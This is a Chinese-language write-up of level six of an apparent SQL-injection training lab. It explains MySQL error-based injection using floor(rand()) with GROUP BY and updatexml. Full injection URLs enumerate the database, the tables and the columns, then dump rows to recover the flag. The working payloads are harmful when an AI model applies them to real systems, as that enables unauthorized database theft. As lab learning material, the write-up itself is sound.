网络信息安全攻防学习平台 注入关第六

lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。

一个很直白的说明啊

上手就是一个单引号,结果发现果然报错

报错注入的原理就是虽然程序不会通过SQL注入返回我们所想要的内容,但是在报错的时候会将所需要的信息暴露出来。这就是报错注入

这里利用公式

select count(*),concat(0x3a,(注入代码),0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a ;

concat:为聚合函数,连接字符串功能

floor:取float的整数值

rand:取0~1之间随机浮点值,长度测试大概为16-19的样子,官方手册也没说明

group by:为聚合函数,根据一个或多个列对结果集进行分组并有排序功能

a为as a 别名的简写方式

floor(rand()*2) rand为0~1,rand()*2为0~2,那么整个语句就是取0,1,2三个数字,rand()为1的几率可以忽律不计,所以是 0,1两个随机数

除了用公式外,其他的都是一样的手段

那么我们先开始爆数据库名字

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' unionselectcount(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(2*rand(0)))aFROMinformation_schema.tablesGROUPBYa %23


网络信息安全攻防学习平台 注入关第六_第1张图片
mydbs

爆出库名,爆表名

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select table_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

输入后,出来一个表名 log


网络信息安全攻防学习平台 注入关第六_第2张图片

我们更改 limit 0,1 为limit 1,1  回车后

出现motto, 再次增加,总共爆出log,motto,user三个表名

爆出表名,爆字段,三个表里自己找

按着习惯,直接进,motto

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=0x6D6F74746F limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23

爆出 id ,username ,password 那么就都列出来不就知道了里面藏着什么

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,motto,0x7e) FROM motto limit 0,1),0x7e),1)%23

在这里,列出了motto 的,limit 要自己多改几次

当limit 3,1,爆出'~~#adf#ad@@#:key#notfound!#~~'

根据题目排出 key和# 

所以flag为notfound!  别忘了感叹号

你可能感兴趣的:(网络信息安全攻防学习平台 注入关第六)